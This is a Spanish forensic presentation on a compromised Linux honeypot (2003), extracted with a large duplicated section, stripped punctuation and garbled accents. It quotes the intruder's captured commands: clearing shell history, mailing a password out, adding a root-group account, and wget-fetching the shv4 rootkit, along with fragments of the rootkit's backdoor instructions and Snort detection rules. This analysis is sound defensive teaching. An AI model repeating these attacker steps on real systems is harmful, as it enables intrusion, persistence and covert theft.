Noncommercial You may not use this work for commercial purposes

No Derivative Works You may not alter transform or build upon this work

For any reuse or distribution you must make clear to others the license terms of this work

Any of these conditions can be waived if you get permission from the author

Your fair use and other rights are in no way affected by the above

This is a human-readable summary of the httpcreativecommonsorglicensesby-nc-nd20

Page 12: Demostracion Hacking Honeypot y Análisis Forense

page 1217062004

Prueba 1Fecha de instalacioacuten del Honeypot

Conclusioacuten El honeypot se instaloacute los diacuteas 5 y 6 de julio de 2003Fuente RPM

[rootholmes dir2] rpm -q --qf installtimedatetnamen --root mntsdb1 --all | sort | head -5

Sat 05 Jul 2003 085412 PM CEST Sendmail-cfSat 05 Jul 2003 091858 PM CEST glibc-commonSat 05 Jul 2003 091859 PM CEST basesystemSat 05 Jul 2003 091859 PM CEST file systemSat 05 Jul 2003 091859 PM CEST gnome-mime-data[rootholmes root] rpm -q --qf installtimedatetnamen --root mntsdb1 --all | sort | tail -5

Sat 05 Jul 2003 093319 PM CEST screenSat 05 Jul 2003 093320 PM CEST xdeltaSat 05 Jul 2003 093349 PM CEST compsSun 06 Jul 2003 102454 AM CEST ncSun 06 Jul 2003 102611 AM CEST tripwire[rootholmes dir2]

page 1317062004

Prueba 2Honeypot apagado del 6 al 15 de julio

Conclusioacuten El honeypot estuvo apagado del 6 al 15 de julioFuente Autopsy + The Sleuth Kit timeline

Sun Jul 06 2003 125748 0 mac - varrunshutdownpid (deleted)0 mac - etcmailsendmailmcswp

(deleted)0 mac - lthoneypotsdb1dd-dead-51072gt

Sun Jul 06 2003 1257494096 mc d varrunconsole0 mac - varrunconsolelock (deleted)45 mac - homedavidbash_history24 a - rootbash_logout0 mac - lthoneypotsdb1dd-dead-51069gt

Tue Jul 15 2003 195705 42 a l libmodules2418-14pcmciaaha152x_cso -gt kerneldriversscsipcmciaaha152x_cso

41 a l libmodules2418-14pcmciawavelan_cso -gt kerneldriversnetpcmciawavelan_cso

page 1417062004

Prueba 3Primera alerta del IDS (x18 en 3 seg)

Conclusioacuten Intento de acceso remoto al honeypot (buffer overflow de SAMBA)Fuente Snort

[] [121034] NETBIOS SMB trans2open buffer overflow attempt [][Classification Attempted Administrator Privilege Gain] [Priority 1]0716-101928694888 101112942468 -gt 19216815139TCP TTL46 TOS0x0 ID30439 IpLen20 DgmLen1500 DFA Seq 0x59D7D6CF Ack 0x2EEEBAAF Win 0x16D0 TcpLen 32TCP Options (3) =gt NOP NOP TS 375824640 26197405[Xref =gt httpwwwdigitaldefensenetlabsadvisoriesDDI-1013txt][Xref =gt httpcvemitreorgcgi-bincvenamecginame=CAN-2003-0201]

page 1517062004

Prueba 4Nueva alerta del IDS ldquoid returned rootrdquo

Conclusioacuten (1s) El intruso comproboacute que era ldquorootrdquo en el sistemaFuente Snort

[] [14984] ATTACK-RESPONSES id check returned root [][Classification Potentially Bad Traffic] [Priority 2]0716-101932690898 1921681545295 -gt 101112942504TCP TTL64 TOS0x0 ID15658 IpLen20 DgmLen174 DFAP Seq 0x2ED6F968 Ack 0x596F6E90 Win 0x16A0 TcpLen 32TCP Options (3) =gt NOP NOP TS 26199287 375825045

page 1617062004

Prueba 5Alerta ldquoid returned rootrdquo La regla del IDS

Conclusioacuten La alerta la provocoacute un paquete conteniendo ldquouid=0(root)rdquoFuente Snort

SID 498Message ATTACK-RESPONSES id check returned root

Signature alert ip any any -gt any any (msgATTACK-RESPONSES id check returned root content uid=0(root) classtypebad-unknown sid498 rev4)

SummaryThis event is generated by the use of a UNIX id command This may be indicative of post-compromise behavior where the attacker is checking for super user privileges gained by a sucessful exploit against a vulnerable system

page 1717062004

Prueba 6Alerta ldquoid returned rootrdquo El paquete

Conclusioacuten El intruso ejecutoacute los comandos ldquouname ndashardquo e ldquoidrdquoFuente Snort

[rootholmes dir2] tcpdump -nn -r tcpdumplog1058291995 -X port 42504101932690898 1921681545295 gt 101112942504 P 785840488785840610(122) ack1500475024 win 5792 ltnopnoptimestamp 26199287 375825045gt (DF)0x0000 4500 00ae 3d2a 4000 4006 77ec XXXX XXXX E=w0x0010 XXXX XXXX XXXX XXXX 2ed6 f968 596f 6e90 shYon0x0020 8018 16a0 56a7 0000 0101 080a 018f c4f7 V0x0030 1666 a295 4c69 6e75 7820 6368 6172 6c69 fLinuxcharli0x0040 6520 322e 342e 3138 2d31 3420 2331 2057 e2418-141W0x0050 6564 2053 6570 2034 2031 333a 3335 3a35 edSep4133550x0060 3020 4544 5420 3230 3032 2069 3638 3620 0EDT2002i6860x0070 6936 3836 2069 3338 3620 474e 552f 4c69 i686i386GNULi0x0080 6e75 780a 7569 643d 3028 726f 6f74 2920 nuxuid=0(root)0x0090 6769 643d 3028 726f 6f74 2920 6772 6f75 gid=0(root)grou0x00a0 7073 3d39 3928 6e6f 626f 6479 290a ps=99(nobody)[rootholmes dir2]

page 1817062004

Prueba 7Ejecucioacuten del comando ldquomailrdquo

Conclusioacuten (2s) El intruso envioacute un mensaje de correo electroacutenicoFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 100937 112 a - etcmailrc754801 a - usrsbinsendmailsendmail83905 a - binmail4770 mc - varlogsambasmbdlog

page 1917062004

Prueba 8Alerta del IDS por el enviacuteo del correo

Conclusioacuten El IDS detectoacute la direccioacuten destino de la conexioacuten SMTPFuente Snort

[] [110000000] HONEYPOT PROBABLY HACKED Outgoing TCP connectionfrom honeypot [][Classification Successful User Privilege Gain] [Priority 1]0716-101934191136 1921681532774 -gt 10227825TCP TTL64 TOS0x0 ID16590 IpLen20 DgmLen60 DFS Seq 0x2EE98728 Ack 0x0 Win 0x16D0 TcpLen 40TCP Options (5) =gt MSS 1460 SackOK TS 26200038 0 NOP WS 0

page 2017062004

Prueba 9Destinatario del correo

Conclusioacuten El fichero de log muestra el destinatario del mensajeFuente varlogmaillog

Jul 16 100944 charlie Sendmail[7393] h6G89cPq007391to=ltsome_addressyahoocomgt ctladdr=ltrootcharliedummynetgt (00)delay=000005 xdelay=000005 mailer=esmtp pri=30318relay=mailyahoocom [102278] dsn=200 stat=Sent (ok dirdel)

page 2117062004

Prueba 10Contenido del mensaje

Conclusioacuten Este era el contenido del mensaje (fichero borrado)Fuente Autopsy + The Sleuth Kit

samba

page 2217062004

Prueba 11Creacioacuten de un nuevo usuario ldquogo----rdquo

Conclusioacuten (4m 17s) El intruso creoacute un nuevo usuario llamado ldquogo----rdquoFuente varlogsecure

Jul 16 101359 charlie adduser[7401] new user name=go---- uid=501gid=10 home=etcgo---- shell=binbash

page 2317062004

Prueba 12Ejecucioacuten del comando ldquopasswdrdquo

Conclusioacuten (11s) El intruso establecioacute la contrasentildea del nuevo usuarioFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 101410 15368 a - usrbinpasswd211 a - etcpamdpasswd

Wed Jul 16 2003 101417 1024 a - usrlibcracklib_dicthwmWed Jul 16 2003 101418 42116 a - usrlibcracklib_dictpwi

828567 a - usrlibcracklib_dictpwdWed Jul 16 2003 101446 1113 mc - etcshadow

page 2417062004

Prueba 13Ejecucioacuten del comando ldquowgetrdquo

Conclusioacuten (14s) El intruso realizoacute una conexioacuten a un servidor de InternetFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 101500 193278 a - usrbinwget4022 a - etcwgetrc7338 a - usrsharesslopensslcnf

page 2517062004

Prueba 14Alerta del IDS por la conexioacuten de ldquowgetrdquo

Conclusioacuten El IDS detectoacute la direccioacuten IP y el puerto (web) del servidorFuente Snort

[] [110000000] HONEYPOT PROBABLY HACKED Outgoing TCP connectionfrom honeypot [][Classification Successful User Privilege Gain] [Priority 1]0716-102456065879 1921681532775 -gt 104413880TCP TTL64 TOS0x0 ID37369 IpLen20 DgmLen60 DFS Seq 0x436ED85E Ack 0x0 Win 0x16D0 TcpLen 40TCP Options (5) =gt MSS 1460 SackOK TS 26364327 0 NOP WS 0

page 2617062004

Prueba 15Instalacioacuten del rootkit ldquoshv4rdquo

bull 1m 22s despueacutes el intruso lanzoacute la instalacioacuten (ldquosetupshrdquo) del rootkit ldquoshv4rdquo

ndash Varios comandos de sistema fueron sustituidos por troyanos que ocultariacutean la presencia del intruso

ndash Un demonio SSH con una puerta trasera fue lanzado con el nombre ldquoxntpsrdquo escuchando en el puerto 20000

ndash Un agente de denegacioacuten de servicio distribuida (DDOS) fueinstalado con el nombre ldquottymonrdquo y fue ejecutado

ndash Un sniffer fue instalado aunque no ejecutado

Conclusioacuten El intruso instaloacute el rootkit ldquoshv4rdquoFuente Autopsy + The Sleuth Kit

page 2717062004

Prueba 16Script de instalacioacuten del rootkit ldquoshv4rdquo

Conclusioacuten Se recuperoacute el rootkit completo y se analizoacute en detalleFuente Autopsy + The Sleuth Kit

1 binbash2 3 shkit-v4-internal release 2002[]12 setup pass port13 14 SSHD backdoor ssh -l root -p port hostname15 when prompted for password enter your rootkit password16 login backdoor DISPLAY=pass export DISPLAY telnet victim17 type anything at login and type arf for pass and b00m r00t[]39 lets unzip our shit now40 tar xfz bintgz41 tar xfz conftgz[]

page 2817062004

Prueba 17Ejemplo de comando ldquotroyanizadoldquo ps

Conclusioacuten Se analizaron todos los comandos sustituidos por el rootkitFuente Autopsy + The Sleuth Kit

Fichero binps

Tipo ELF 32-bit LSB executable i386 dynamically linked stripped

Descripcioacuten Lista los procesos en ejecucioacuten como el comando lsquopsrsquo peroocultando aquellos procesos cuyo nombre incluye cualquiera de las cadenas de caracteres que contiene el fichero usrincludeproch o cuyos argumentosincluyen cualquiera de las direcciones IP que contiene el ficherousrincludehostsh Tambieacuten oculta cualquier proceso hijo de los procesosocultos

Meacutetodo de anaacutelisis Ejecucioacuten en entorno aislado uso de lsquostracersquo paraencontrar llamadas al sistema lsquoopen()rsquo y alteracioacuten de los ficheros de configuracioacuten proch y hostsh

page 2917062004

Prueba 18Actividad del agente de DDOS

Conclusioacuten (18s) El agente de DDOS envioacute noticias a dos controladoresFuente Snort

[] [118552] DDOS Stacheldraht agent-gthandler (skillz) [][Classification Attempted Denial of Service] [Priority 2]0716-102622944900 19216815 -gt 1033111ICMP TTL64 TOS0x0 ID0 IpLen20 DgmLen1044 DFType0 Code0 ID6666 Seq0 ECHO REPLY[Xref =gthttpstaffwashingtonedudittrichmiscstacheldrahtanalysis]

NOTA Idem con una segunda IP destino Mensajes repetidos una vez por minuto hastaque se apagoacute el honeypot

page 3017062004

Prueba 19Apagado del honeypot

Conclusioacuten (13h) El honeypot fue apagado esa noche para analizarloFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 231541 176 a - rootbashrc[cut]Wed Jul 16 2003 231943 19982 a - sbinshutdown[cut]Wed Jul 16 2003 232009 48 mc - etcadjtime

page 3117062004

Prueba 20Texto mostrado en la pantalla del intruso (15)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

unset HISTFILE echo samba|mail some_addressyahoocomecho JE MOET JE MUIL HOUWEuname -aid

JE MOET JE MUIL HOUWELinux charlie 2418-14 1 Wed Sep 4 133550 EDT 2002 i686 i686 i386 GNULinuxuid=0(root) gid=0(root) groups=99(nobody)usrsbinadduser go---- -g wheel -s binbash -d etcgo----passwd go----New password mokota----Retype new password mokota----Changing password for user go----passwd all authentication tokens updated successfullywget wwwsitaboyannetshv4tgz--101500-- httpwwwsitaboyannetshv4tgz[]

page 3217062004

Prueba 21 (cont)Texto mostrado en la pantalla del intruso (25)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Fuente Ethereal

=gt `shv4tgzResolving wwwsitaboyannet doneConnecting to wwwsitaboyannet[1044138]80 connectedHTTP request sent awaiting response 200 OKLength 523391 [applicationx-compressed][]101520 (2648 KBs) - `shv4tgz saved [523391523391]tar -zxf shv4tgzrm -f shv4tgzcd shv4lsbintgzconftgzlibtgzsetup

page 3317062004

Prueba 22 (cont)Texto mostrado en la pantalla del intruso (35)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

setup mokota---- 20000sh Sit y00r ass d0wn whil3 w3 install shv4sh NO PATCHING THIS VERSION do it manually Bitch====================================================================

___

__

__ _____ _~ __ H __

S __ A H C __ K K U ___ E ___ P __ R __I __ __ S __ __

[sh] Internal Release v4 by PinTuRici====================================================================sh backdooring started on charliedummynet

page 3417062004

Prueba 23 (cont)Texto mostrado en la pantalla del intruso (45)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

sh checking for remote loggingsh holy guacamole batman

REMOTE LOGGING DETECTED[sh] I hope you can get to these other computer(s)

192168110cuz this box is LOGGING to it

sh [Installing Trojans]sh Using Password mokota----sh Using ssh-port 20000expr non-numeric argumentsz line 42 test = unary operator expectedsz line 47 test Aug integer expression expectedsh psdulstopnetstatfind backdooredsh []

page 3517062004

Prueba 24 (cont)Texto mostrado en la pantalla del intruso (55)

Conclusioacuten Confirmacioacuten de las pruebas anterioresFuente Ethereal

sh [Moving our files]sh sniffparsesauber movedsh [Modifying system settings to suite our needs]--------------------------------------------------------------------sh [System Information]sh Hostname charliedummynet (19216815)sh Arch i686 -+- bogomips 468304 sh Alternative IP 19216815 -+- Might be [ 1 ] active adapterssh Distribution Red Hat Linux release 80 (Psyche)-------------------------------------------------------------------sh ipchains setup line 344 sbinipchains No such file or directory--------------------------------------------------------------------sh ================== Backdooring completed in 15 seconds

page 3617062004

Prueba 25Paacutegina web de donde descargoacute el rootkit

Conclusioacuten Informacioacuten adicionalFuente Ethereal Mozilla

page 3717062004

Prueba 26El intruso intentoacute volver

Conclusioacuten El intruso intentoacute conectar a su puerta trasera sin eacutexitoFuente Ethereal

[rootholmes dir2] tcpdump -r tcpdump_200307151956 port 20000102732713915 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192

ltmss 1460nopnopsackOKgt (DF)

102732714305 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102735653412 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192 ltmss 1460nopnopsackOKgt (DF)

102735654084 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102736935977 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

[][rootholmes dir2]

page 3817062004

Conclusiones

page 3917062004

Conclusioacuten 1Resumen del incidente

bull 14 horas despueacutes del despliegue del honeypot un atacante logroacute acceso como root al sistema explotandouna vulnerabilidad del daemon de SAMBA ldquosmbdrdquo

bull Entonces antildeadioacute una cuenta de usuario al sistema e instaloacuteun rootkit llamado ldquoshv4rdquo que incluiacutea varios comandostroyanos para ocultar sus actividades dos puertas traseras un sniffer y un agente de DDOS

bull Maacutes tarde intentoacute acceder al sistema usando una de suspuertas traseras sin eacutexito

bull El ataque duroacute menos de 10 minutos

page 4017062004

Conclusioacuten 2Anaacutelisis forense + IDS + Traza de red = eacutexito

bull El anaacutelisis forense de un sistema proporciona una enormecantidad de informacioacuten sobre un incidente pero suefectividad se multiplica cuando se combina con otrasfuentes de informacioacuten como IDS y traza de red

bull IDSndash Detectoacute que el sistema habiacutea sido comprometidondash Identificoacute la IP origen del ataque y la IP del servidor webndash Identificoacute la IP de los gestores del agente DDOS

bull Traza de redndash Permitioacute recuperar todos los comandos del atacante y la

respuesta del sistemandash Habriacutea permitido recuperar el rootkit en caso necesariondash Mostroacute que el atacante volvioacute despueacutes

page 4117062004

Conclusioacuten 3Preservar la evidencia es crucial

bull Fue posible recuperar mucha informacioacuten del disco del sistema pero una de las piezas maacutes importante el ficherodel rootkit estaba dantildeado

bull Es muy probable que se dantildeara al ejecutar el ldquoshutdownrdquo en lugar de apagar bruscamente el sistema

bull Siempre que sea posible se debe evitar modificar de ninguna manera la informacioacuten del sistema a analizar

page 4217062004

Conclusioacuten 4Ninguacuten sistema estaacute a salvo

bull El honeypot fue atacado y conquistado en menos de 24h a pesar de quendash no teniacutea mucha CPUndash no teniacutea mucho espacio en discondash no teniacutea un gran ancho de banda (conexioacuten ADSL baacutesica)ndash su presencia no fue anunciada de ninguna manerandash no teniacutea un nombre de dominio asociadondash no teniacutea datos importantes (SO)

page 4317062004

Conclusioacuten 5Muchos incidentes pasan inadvertidos

bull El honeypot fue atacado desde una maacutequina que albergaba la paacutegina web principal de una compantildeiacutea de web-hosting

bull Muy probablemente el ataque no fue lanzado por alguien de dicha compantildeiacutea sino por un intruso que previamente habiacutea tomado control de su servidor web sin que nadie se diera cuenta

page 4417062004

Conclusioacuten 6Motivaciones y iquestresponsabilidad legal

bull Motivaciones del ataquendash Sistemas automaacuteticos virus y gusanosndash Script-kiddies disponibilidad de herramientas muy simplesndash Repositorio de ldquow4R3zrdquondash Obtencioacuten de recursos para futuros ataques

bull Responsabilidadndash iquestSoy responsable si desde mi sistema se lanza un ataque a un

tercero

page 4517062004

Referencias

page 4617062004

Referencias

bullHoneypots

sect httpwwwtracking-hackerscom

sect httpprojecthoneynetorg

bullThe Sleuth Kit amp Autopsy httpwwwsleuthkitorg

bullSnort httpwwwsnortorg

bullTrazas de red

sect Tcpdump httpwwwtcpdumporg

sect Ethereal httpwwwetherealcom

bullTrabajo praacutectico GCFA de David Perez httpwwwgiacorgpracticalGCFADavid_Perez_GCFApdf

page 4717062004

Demostracioacuten

page 4817062004

Demostracioacuten

~ 50 minutos

ldquoMuchas Graciasrdquo

page 4917062004

You are free

to copy distribute display and perform the work

Under the following conditions

Attribution-NonCommercial-NoDerivs 20

Attribution You must give the original author credit

Noncommercial You may not use this work for commercial purposes

No Derivative Works You may not alter transform or build upon this work

For any reuse or distribution you must make clear to others the license terms of this work

Any of these conditions can be waived if you get permission from the author

Your fair use and other rights are in no way affected by the above

This is a human-readable summary of the httpcreativecommonsorglicensesby-nc-nd20

Page 13: Demostracion Hacking Honeypot y Análisis Forense

page 1317062004

Prueba 2Honeypot apagado del 6 al 15 de julio

Conclusioacuten El honeypot estuvo apagado del 6 al 15 de julioFuente Autopsy + The Sleuth Kit timeline

Sun Jul 06 2003 125748 0 mac - varrunshutdownpid (deleted)0 mac - etcmailsendmailmcswp

(deleted)0 mac - lthoneypotsdb1dd-dead-51072gt

Sun Jul 06 2003 1257494096 mc d varrunconsole0 mac - varrunconsolelock (deleted)45 mac - homedavidbash_history24 a - rootbash_logout0 mac - lthoneypotsdb1dd-dead-51069gt

Tue Jul 15 2003 195705 42 a l libmodules2418-14pcmciaaha152x_cso -gt kerneldriversscsipcmciaaha152x_cso

41 a l libmodules2418-14pcmciawavelan_cso -gt kerneldriversnetpcmciawavelan_cso

page 1417062004

Prueba 3Primera alerta del IDS (x18 en 3 seg)

Conclusioacuten Intento de acceso remoto al honeypot (buffer overflow de SAMBA)Fuente Snort

[] [121034] NETBIOS SMB trans2open buffer overflow attempt [][Classification Attempted Administrator Privilege Gain] [Priority 1]0716-101928694888 101112942468 -gt 19216815139TCP TTL46 TOS0x0 ID30439 IpLen20 DgmLen1500 DFA Seq 0x59D7D6CF Ack 0x2EEEBAAF Win 0x16D0 TcpLen 32TCP Options (3) =gt NOP NOP TS 375824640 26197405[Xref =gt httpwwwdigitaldefensenetlabsadvisoriesDDI-1013txt][Xref =gt httpcvemitreorgcgi-bincvenamecginame=CAN-2003-0201]

page 1517062004

Prueba 4Nueva alerta del IDS ldquoid returned rootrdquo

Conclusioacuten (1s) El intruso comproboacute que era ldquorootrdquo en el sistemaFuente Snort

[] [14984] ATTACK-RESPONSES id check returned root [][Classification Potentially Bad Traffic] [Priority 2]0716-101932690898 1921681545295 -gt 101112942504TCP TTL64 TOS0x0 ID15658 IpLen20 DgmLen174 DFAP Seq 0x2ED6F968 Ack 0x596F6E90 Win 0x16A0 TcpLen 32TCP Options (3) =gt NOP NOP TS 26199287 375825045

page 1617062004

Prueba 5Alerta ldquoid returned rootrdquo La regla del IDS

Conclusioacuten La alerta la provocoacute un paquete conteniendo ldquouid=0(root)rdquoFuente Snort

SID 498Message ATTACK-RESPONSES id check returned root

Signature alert ip any any -gt any any (msgATTACK-RESPONSES id check returned root content uid=0(root) classtypebad-unknown sid498 rev4)

SummaryThis event is generated by the use of a UNIX id command This may be indicative of post-compromise behavior where the attacker is checking for super user privileges gained by a sucessful exploit against a vulnerable system

page 1717062004

Prueba 6Alerta ldquoid returned rootrdquo El paquete

Conclusioacuten El intruso ejecutoacute los comandos ldquouname ndashardquo e ldquoidrdquoFuente Snort

[rootholmes dir2] tcpdump -nn -r tcpdumplog1058291995 -X port 42504101932690898 1921681545295 gt 101112942504 P 785840488785840610(122) ack1500475024 win 5792 ltnopnoptimestamp 26199287 375825045gt (DF)0x0000 4500 00ae 3d2a 4000 4006 77ec XXXX XXXX E=w0x0010 XXXX XXXX XXXX XXXX 2ed6 f968 596f 6e90 shYon0x0020 8018 16a0 56a7 0000 0101 080a 018f c4f7 V0x0030 1666 a295 4c69 6e75 7820 6368 6172 6c69 fLinuxcharli0x0040 6520 322e 342e 3138 2d31 3420 2331 2057 e2418-141W0x0050 6564 2053 6570 2034 2031 333a 3335 3a35 edSep4133550x0060 3020 4544 5420 3230 3032 2069 3638 3620 0EDT2002i6860x0070 6936 3836 2069 3338 3620 474e 552f 4c69 i686i386GNULi0x0080 6e75 780a 7569 643d 3028 726f 6f74 2920 nuxuid=0(root)0x0090 6769 643d 3028 726f 6f74 2920 6772 6f75 gid=0(root)grou0x00a0 7073 3d39 3928 6e6f 626f 6479 290a ps=99(nobody)[rootholmes dir2]

page 1817062004

Prueba 7Ejecucioacuten del comando ldquomailrdquo

Conclusioacuten (2s) El intruso envioacute un mensaje de correo electroacutenicoFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 100937 112 a - etcmailrc754801 a - usrsbinsendmailsendmail83905 a - binmail4770 mc - varlogsambasmbdlog

page 1917062004

Prueba 8Alerta del IDS por el enviacuteo del correo

Conclusioacuten El IDS detectoacute la direccioacuten destino de la conexioacuten SMTPFuente Snort

[] [110000000] HONEYPOT PROBABLY HACKED Outgoing TCP connectionfrom honeypot [][Classification Successful User Privilege Gain] [Priority 1]0716-101934191136 1921681532774 -gt 10227825TCP TTL64 TOS0x0 ID16590 IpLen20 DgmLen60 DFS Seq 0x2EE98728 Ack 0x0 Win 0x16D0 TcpLen 40TCP Options (5) =gt MSS 1460 SackOK TS 26200038 0 NOP WS 0

page 2017062004

Prueba 9Destinatario del correo

Conclusioacuten El fichero de log muestra el destinatario del mensajeFuente varlogmaillog

Jul 16 100944 charlie Sendmail[7393] h6G89cPq007391to=ltsome_addressyahoocomgt ctladdr=ltrootcharliedummynetgt (00)delay=000005 xdelay=000005 mailer=esmtp pri=30318relay=mailyahoocom [102278] dsn=200 stat=Sent (ok dirdel)

page 2117062004

Prueba 10Contenido del mensaje

Conclusioacuten Este era el contenido del mensaje (fichero borrado)Fuente Autopsy + The Sleuth Kit

samba

page 2217062004

Prueba 11Creacioacuten de un nuevo usuario ldquogo----rdquo

Conclusioacuten (4m 17s) El intruso creoacute un nuevo usuario llamado ldquogo----rdquoFuente varlogsecure

Jul 16 101359 charlie adduser[7401] new user name=go---- uid=501gid=10 home=etcgo---- shell=binbash

page 2317062004

Prueba 12Ejecucioacuten del comando ldquopasswdrdquo

Conclusioacuten (11s) El intruso establecioacute la contrasentildea del nuevo usuarioFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 101410 15368 a - usrbinpasswd211 a - etcpamdpasswd

Wed Jul 16 2003 101417 1024 a - usrlibcracklib_dicthwmWed Jul 16 2003 101418 42116 a - usrlibcracklib_dictpwi

828567 a - usrlibcracklib_dictpwdWed Jul 16 2003 101446 1113 mc - etcshadow

page 2417062004

Prueba 13Ejecucioacuten del comando ldquowgetrdquo

Conclusioacuten (14s) El intruso realizoacute una conexioacuten a un servidor de InternetFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 101500 193278 a - usrbinwget4022 a - etcwgetrc7338 a - usrsharesslopensslcnf

page 2517062004

Prueba 14Alerta del IDS por la conexioacuten de ldquowgetrdquo

Conclusioacuten El IDS detectoacute la direccioacuten IP y el puerto (web) del servidorFuente Snort

[] [110000000] HONEYPOT PROBABLY HACKED Outgoing TCP connectionfrom honeypot [][Classification Successful User Privilege Gain] [Priority 1]0716-102456065879 1921681532775 -gt 104413880TCP TTL64 TOS0x0 ID37369 IpLen20 DgmLen60 DFS Seq 0x436ED85E Ack 0x0 Win 0x16D0 TcpLen 40TCP Options (5) =gt MSS 1460 SackOK TS 26364327 0 NOP WS 0

page 2617062004

Prueba 15Instalacioacuten del rootkit ldquoshv4rdquo

bull 1m 22s despueacutes el intruso lanzoacute la instalacioacuten (ldquosetupshrdquo) del rootkit ldquoshv4rdquo

ndash Varios comandos de sistema fueron sustituidos por troyanos que ocultariacutean la presencia del intruso

ndash Un demonio SSH con una puerta trasera fue lanzado con el nombre ldquoxntpsrdquo escuchando en el puerto 20000

ndash Un agente de denegacioacuten de servicio distribuida (DDOS) fueinstalado con el nombre ldquottymonrdquo y fue ejecutado

ndash Un sniffer fue instalado aunque no ejecutado

Conclusioacuten El intruso instaloacute el rootkit ldquoshv4rdquoFuente Autopsy + The Sleuth Kit

page 2717062004

Prueba 16Script de instalacioacuten del rootkit ldquoshv4rdquo

Conclusioacuten Se recuperoacute el rootkit completo y se analizoacute en detalleFuente Autopsy + The Sleuth Kit

1 binbash2 3 shkit-v4-internal release 2002[]12 setup pass port13 14 SSHD backdoor ssh -l root -p port hostname15 when prompted for password enter your rootkit password16 login backdoor DISPLAY=pass export DISPLAY telnet victim17 type anything at login and type arf for pass and b00m r00t[]39 lets unzip our shit now40 tar xfz bintgz41 tar xfz conftgz[]

page 2817062004

Prueba 17Ejemplo de comando ldquotroyanizadoldquo ps

Conclusioacuten Se analizaron todos los comandos sustituidos por el rootkitFuente Autopsy + The Sleuth Kit

Fichero binps

Tipo ELF 32-bit LSB executable i386 dynamically linked stripped

Descripcioacuten Lista los procesos en ejecucioacuten como el comando lsquopsrsquo peroocultando aquellos procesos cuyo nombre incluye cualquiera de las cadenas de caracteres que contiene el fichero usrincludeproch o cuyos argumentosincluyen cualquiera de las direcciones IP que contiene el ficherousrincludehostsh Tambieacuten oculta cualquier proceso hijo de los procesosocultos

Meacutetodo de anaacutelisis Ejecucioacuten en entorno aislado uso de lsquostracersquo paraencontrar llamadas al sistema lsquoopen()rsquo y alteracioacuten de los ficheros de configuracioacuten proch y hostsh

page 2917062004

Prueba 18Actividad del agente de DDOS

Conclusioacuten (18s) El agente de DDOS envioacute noticias a dos controladoresFuente Snort

[] [118552] DDOS Stacheldraht agent-gthandler (skillz) [][Classification Attempted Denial of Service] [Priority 2]0716-102622944900 19216815 -gt 1033111ICMP TTL64 TOS0x0 ID0 IpLen20 DgmLen1044 DFType0 Code0 ID6666 Seq0 ECHO REPLY[Xref =gthttpstaffwashingtonedudittrichmiscstacheldrahtanalysis]

NOTA Idem con una segunda IP destino Mensajes repetidos una vez por minuto hastaque se apagoacute el honeypot

page 3017062004

Prueba 19Apagado del honeypot

Conclusioacuten (13h) El honeypot fue apagado esa noche para analizarloFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 231541 176 a - rootbashrc[cut]Wed Jul 16 2003 231943 19982 a - sbinshutdown[cut]Wed Jul 16 2003 232009 48 mc - etcadjtime

page 3117062004

Prueba 20Texto mostrado en la pantalla del intruso (15)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

unset HISTFILE echo samba|mail some_addressyahoocomecho JE MOET JE MUIL HOUWEuname -aid

JE MOET JE MUIL HOUWELinux charlie 2418-14 1 Wed Sep 4 133550 EDT 2002 i686 i686 i386 GNULinuxuid=0(root) gid=0(root) groups=99(nobody)usrsbinadduser go---- -g wheel -s binbash -d etcgo----passwd go----New password mokota----Retype new password mokota----Changing password for user go----passwd all authentication tokens updated successfullywget wwwsitaboyannetshv4tgz--101500-- httpwwwsitaboyannetshv4tgz[]

page 3217062004

Prueba 21 (cont)Texto mostrado en la pantalla del intruso (25)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Fuente Ethereal

=gt `shv4tgzResolving wwwsitaboyannet doneConnecting to wwwsitaboyannet[1044138]80 connectedHTTP request sent awaiting response 200 OKLength 523391 [applicationx-compressed][]101520 (2648 KBs) - `shv4tgz saved [523391523391]tar -zxf shv4tgzrm -f shv4tgzcd shv4lsbintgzconftgzlibtgzsetup

page 3317062004

Prueba 22 (cont)Texto mostrado en la pantalla del intruso (35)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

setup mokota---- 20000sh Sit y00r ass d0wn whil3 w3 install shv4sh NO PATCHING THIS VERSION do it manually Bitch====================================================================

___

__

__ _____ _~ __ H __

S __ A H C __ K K U ___ E ___ P __ R __I __ __ S __ __

[sh] Internal Release v4 by PinTuRici====================================================================sh backdooring started on charliedummynet

page 3417062004

Prueba 23 (cont)Texto mostrado en la pantalla del intruso (45)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

sh checking for remote loggingsh holy guacamole batman

REMOTE LOGGING DETECTED[sh] I hope you can get to these other computer(s)

192168110cuz this box is LOGGING to it

sh [Installing Trojans]sh Using Password mokota----sh Using ssh-port 20000expr non-numeric argumentsz line 42 test = unary operator expectedsz line 47 test Aug integer expression expectedsh psdulstopnetstatfind backdooredsh []

page 3517062004

Prueba 24 (cont)Texto mostrado en la pantalla del intruso (55)

Conclusioacuten Confirmacioacuten de las pruebas anterioresFuente Ethereal

